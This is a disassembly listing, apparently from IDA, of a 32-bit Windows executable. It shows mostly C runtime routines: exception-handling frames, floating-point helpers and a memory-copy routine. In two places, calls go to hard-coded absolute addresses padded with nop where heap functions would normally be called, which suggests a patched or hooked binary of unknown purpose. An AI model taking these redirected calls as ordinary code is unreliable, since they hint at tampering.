and esi, 0FFFFFFF0h
loc_417C2A: ; CODE XREF: sub_417BC7+42j
; sub_417BC7+54j
push esi
push 0
push dword_48B684
nop
call near ptr 26F0000h
loc_417C39: ; CODE XREF: sub_417BC7+52j
pop esi
retn
sub_417BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C3B proc near ; CODE XREF: sub_402DD7+10Ep
; sub_402DD7+116p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_417CA1
mov eax, dword_48B688
cmp eax, 3
jnz short loc_417C67
push esi
call sub_41AD89
pop ecx
test eax, eax
push esi
jz short loc_417C93
push eax
call sub_41ADB4
pop ecx
pop ecx
jmp short loc_417CA1
; ---------------------------------------------------------------------------
loc_417C67: ; CODE XREF: sub_417C3B+14j
cmp eax, 2
jnz short loc_417C92
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41BAE4
add esp, 0Ch
test eax, eax
jz short loc_417C92
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41BB3B
add esp, 0Ch
jmp short loc_417CA1
; ---------------------------------------------------------------------------
loc_417C92: ; CODE XREF: sub_417C3B+2Fj
; sub_417C3B+44j
push esi
loc_417C93: ; CODE XREF: sub_417C3B+20j
push 0
push dword_48B684
call near ptr 26E0000h
nop
loc_417CA1: ; CODE XREF: sub_417C3B+Aj
; sub_417C3B+2Aj ...
pop esi
leave
retn
sub_417C3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417CA4(double)
sub_417CA4 proc near ; CODE XREF: sub_403FE6+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_439560
call sub_41C77D
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_417D2A
call sub_41C645
pop ecx
test eax, eax
pop ecx
jle short loc_417D0D
cmp eax, 2
jle short loc_417CFF
cmp eax, 3
jnz short loc_417D0D
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_41BF55
add esp, 10h
jmp short loc_417D6F
; ---------------------------------------------------------------------------
loc_417CFF: ; CODE XREF: sub_417CA4+3Fj
push esi
push ebx
call sub_41C77D
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_417D6F
; ---------------------------------------------------------------------------
loc_417D0D: ; CODE XREF: sub_417CA4+3Aj
; sub_417CA4+44j
fld [ebp+arg_0]
fadd dbl_4246A8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_417D67
; ---------------------------------------------------------------------------
loc_417D2A: ; CODE XREF: sub_417CA4+2Fj
call sub_41C60A
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_417D4D
loc_417D3F: ; CODE XREF: sub_417CA4+ACj
push esi
push ebx
call sub_41C77D
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_417D6F
; ---------------------------------------------------------------------------
loc_417D4D: ; CODE XREF: sub_417CA4+99j
test bl, 20h
jnz short loc_417D3F
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_417D67: ; CODE XREF: sub_417CA4+84j
call sub_41BFA8
add esp, 1Ch
loc_417D6F: ; CODE XREF: sub_417CA4+59j
; sub_417CA4+67j ...
pop esi
pop ebx
leave
retn
sub_417CA4 endp
; =============== S U B R O U T I N E =======================================
sub_417D73 proc near ; CODE XREF: ___:00419AC1p
; DATA XREF: ___:off_43956Co
call sub_417D8B
call sub_41C846
mov dword_489FF4, eax
call sub_41C7F6
fnclex
retn
sub_417D73 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_417D8B proc near ; CODE XREF: sub_417D73p
mov eax, offset sub_41CC34
mov off_43B904, offset sub_41C8C9
mov off_43B900, eax
mov off_43B908, offset sub_41C92F
mov off_43B90C, offset sub_41C86F
mov off_43B910, offset sub_41C917
mov off_43B914, eax
retn
sub_417D8B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DC4 proc near ; CODE XREF: sub_403FE6+1Bp
; sub_403FE6+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_417DC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417DEB(double)
sub_417DEB proc near ; CODE XREF: sub_404032+82p
; ___:00404CF0p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_439578
call sub_41C77D
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_417E71
call sub_41C645
pop ecx
test eax, eax
pop ecx
jle short loc_417E54
cmp eax, 2
jle short loc_417E46
cmp eax, 3
jnz short loc_417E54
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_41BF55
add esp, 10h
jmp short loc_417EB6
; ---------------------------------------------------------------------------
loc_417E46: ; CODE XREF: sub_417DEB+3Fj
push esi
push ebx
call sub_41C77D
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_417EB6
; ---------------------------------------------------------------------------
loc_417E54: ; CODE XREF: sub_417DEB+3Aj
; sub_417DEB+44j
fld [ebp+arg_0]
fadd dbl_4246A8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_417EAE
; ---------------------------------------------------------------------------
loc_417E71: ; CODE XREF: sub_417DEB+2Fj
call sub_41C60A
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_417E94
loc_417E86: ; CODE XREF: sub_417DEB+ACj
push esi
push ebx
call sub_41C77D
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_417EB6
; ---------------------------------------------------------------------------
loc_417E94: ; CODE XREF: sub_417DEB+99j
test bl, 20h
jnz short loc_417E86
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_417EAE: ; CODE XREF: sub_417DEB+84j
call sub_41BFA8
add esp, 1Ch
loc_417EB6: ; CODE XREF: sub_417DEB+59j
; sub_417DEB+67j ...
pop esi
pop ebx
leave
retn
sub_417DEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EBA proc near ; CODE XREF: ___:0041D116p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_417EBA endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_417EEE proc near ; CODE XREF: sub_41D256+199p
; sub_41D41A+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_417EEE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417EF5 proc near ; CODE XREF: sub_41D256+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_417EF5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_417EFC proc near ; CODE XREF: sub_4180AE+5Cp
; sub_41D0A5:loc_41D0D6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_417F24
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_422A4C
sub_417EFC endp
; ---------------------------------------------------------------------------
loc_417F24: ; DATA XREF: sub_417EFC+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_417F4B: ; CODE XREF: ___:004230ECj
; ___:00423109j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_41CCAA
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F81 proc near ; CODE XREF: sub_41D120+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_417FD5
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_41D4B0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_417F81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417FD5 proc near ; DATA XREF: sub_417F81+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41CCAA
add esp, 20h
pop ebp
retn
sub_417FD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417FFA proc near ; CODE XREF: sub_41CEEC+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_4180AE
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_418080
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_48A098
pop ecx
pop ecx
and [ebp+var_34], 0
loc_418080: ; DATA XREF: sub_417FFA+3Co
cmp [ebp+var_4], 0
jz short loc_41809D
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_4180A6
; ---------------------------------------------------------------------------
loc_41809D: ; CODE XREF: sub_417FFA+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_4180A6: ; CODE XREF: sub_417FFA+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_417FFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4180AE proc near ; DATA XREF: sub_417FFA+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_4180D1
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41811E
; ---------------------------------------------------------------------------
loc_4180D1: ; CODE XREF: sub_4180AE+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41CCAA
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41810F
push [ebp+arg_0]
push [ebp+arg_4]
call sub_417EFC
; ---------------------------------------------------------------------------
loc_41810F: ; CODE XREF: sub_4180AE+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41811E: ; CODE XREF: sub_4180AE+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4180AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418123 proc near ; CODE XREF: sub_41CD45+C6p
; sub_41CEEC+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41817A
loc_418141: ; CODE XREF: sub_418123+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41814B
call sub_41D552
loc_41814B: ; CODE XREF: sub_418123+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_418160
cmp ecx, [eax+8]
jle short loc_418165
loc_418160: ; CODE XREF: sub_418123+36j
cmp esi, 0FFFFFFFFh
jnz short loc_418171
loc_418165: ; CODE XREF: sub_418123+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_418171: ; CODE XREF: sub_418123+40j
cmp [ebp+arg_4], 0
jge short loc_418141
mov eax, [ebp+var_4]
loc_41817A: ; CODE XREF: sub_418123+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41818E
cmp esi, eax
jbe short loc_418193
loc_41818E: ; CODE XREF: sub_418123+65j
call sub_41D552
loc_418193: ; CODE XREF: sub_418123+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_418123 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4181A0 proc near ; CODE XREF: sub_41F774+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_4181B8
push [ebp+arg_0]
call sub_422A4C
sub_4181A0 endp
; =============== S U B R O U T I N E =======================================
sub_4181B8 proc near ; DATA XREF: sub_4181A0+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4181B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4181C0 proc near ; DATA XREF: sub_4181E2+Ao
; sub_41824A+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_4181E1
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_4181E1: ; CODE XREF: sub_4181C0+10j
retn
sub_4181C0 endp
; =============== S U B R O U T I N E =======================================
sub_4181E2 proc near ; CODE XREF: sub_41D1C6+Dp
; sub_41F774+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_4181C0
push large dword ptr fs:0
mov large fs:0, esp
loc_4181FF: ; CODE XREF: sub_4181E2:loc_41823Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41823C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41823C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41823A
push 101h
mov eax, [ebx+esi*4+8]
call sub_418276
call dword ptr [ebx+esi*4+8]
loc_41823A: ; CODE XREF: sub_4181E2+44j
jmp short loc_4181FF
; ---------------------------------------------------------------------------
loc_41823C: ; CODE XREF: sub_4181E2+2Aj
; sub_4181E2+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4181E2 endp
; =============== S U B R O U T I N E =======================================
sub_41824A proc near ; CODE XREF: sub_41D1E6+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_4181C0
jnz short locret_41826C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41826C
mov eax, 1
locret_41826C: ; CODE XREF: sub_41824A+10j
; sub_41824A+1Bj
retn
sub_41824A endp
; =============== S U B R O U T I N E =======================================
sub_41826D proc near ; CODE XREF: sub_41D4B0+1Ep
; sub_41D4B0+40p
push ebx
push ecx
mov ebx, offset dword_43957C
jmp short loc_418280
sub_41826D endp
; =============== S U B R O U T I N E =======================================
sub_418276 proc near ; CODE XREF: sub_4181E2+4Fp
; sub_41F774+78p
push ebx
push ecx
mov ebx, offset dword_43957C
mov ecx, [ebp+8]
loc_418280: ; CODE XREF: sub_41826D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_418276 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418290 proc near ; CODE XREF: sub_404032+5p
; sub_4041D4+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_418290 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4182AF proc near ; CODE XREF: sub_404667+26p
; ___:004227E2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_417C3B
pop ecx
retn
sub_4182AF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4182C0 proc near ; CODE XREF: sub_4046D8+3Ap
; sub_41ADB4+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4182E0
cmp edi, eax
jb loc_418458
loc_4182E0: ; CODE XREF: sub_4182C0+16j
test edi, 3
jnz short loc_4182FC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41831C
rep movsd
jmp off_418408[edx*4]
; ---------------------------------------------------------------------------
loc_4182FC: ; CODE XREF: sub_4182C0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_418314
and eax, 3
add ecx, eax
jmp dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------
loc_418314: ; CODE XREF: sub_4182C0+46j
jmp dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41831C: ; CODE XREF: sub_4182C0+31j
; sub_4182C0+8Ej ...
jmp off_41839C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41832C+4
dd offset loc_41835C
; ---------------------------------------------------------------------------
loc_41832C: ; DATA XREF: sub_4182C0+64o
add byte ptr [ebx-2EDCFFBFh], 8Ah
push es
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41831C
rep movsd
jmp off_418408[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41835C: ; DATA XREF: sub_4182C0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41831C
rep movsd
jmp off_418408[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41831C
rep movsd
jmp off_418408[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41839C dd offset loc_4183FF ; DATA XREF: sub_4182C0:loc_41831Cr
dd offset loc_4183EC
dd offset loc_4183E4
dd offset loc_4183DC
dd offset loc_4183D4
dd offset loc_4183CC
dd offset loc_4183C4
dd offset loc_4183BC
; ---------------------------------------------------------------------------
loc_4183BC: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4183C4: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4183CC: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4183D4: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4183DC: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4183E4: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4183EC: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4183FF: ; CODE XREF: sub_4182C0:loc_41831Cj
; DATA XREF: sub_4182C0:off_41839Co
jmp off_418408[edx*4]
; ---------------------------------------------------------------------------
align 4
off_418408 dd offset loc_418418 ; DATA XREF: sub_4182C0+35r
; sub_4182C0+92r ...
dd offset loc_418420
dd offset loc_41842C
dd offset loc_418440
; ---------------------------------------------------------------------------
loc_418418: ; CODE XREF: sub_4182C0+35j
; sub_4182C0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_418420: ; CODE XREF: sub_4182C0+35j
; sub_4182C0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41842C: ; CODE XREF: sub_4182C0+35j
; sub_4182C0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_418440: ; CODE XREF: sub_4182C0+35j
; sub_4182C0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418458: ; CODE XREF: sub_4182C0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41848C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_418480
std
rep movsd
cld
jmp off_4185A0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_418480: ; CODE XREF: sub_4182C0+1B1j
; sub_4182C0+208j ...
neg ecx
jmp off_418550[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41848C: ; CODE XREF: sub_4182C0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4184A4
and eax, 3
sub ecx, eax
jmp dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4184A4: ; CODE XREF: sub_4182C0+1D6j
; DATA XREF: sub_4182C0+1DDr
jmp off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
fadd dword ptr [ecx+eax*2+41850000h]
loc_4184B7: ; DATA XREF: sub_4182C0+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_418480
std
rep movsd
cld
jmp off_4185A0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_418480
std
rep movsd
cld
jmp off_4185A0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_418480
std
rep movsd
cld
jmp off_4185A0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_418554
dd offset loc_41855C
dd offset loc_418564
dd offset loc_41856C
dd offset loc_418574
dd offset loc_41857C
dd offset loc_418584
off_418550 dd offset loc_418597 ; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------
loc_418554: ; DATA XREF: sub_4182C0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41855C: ; DATA XREF: sub_4182C0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_418564: ; DATA XREF: sub_4182C0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41856C: ; DATA XREF: sub_4182C0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_418574: ; DATA XREF: sub_4182C0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41857C: ; DATA XREF: sub_4182C0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_418584: ; DATA XREF: sub_4182C0+28Co
mov eax, [esi+ecx*4+4]
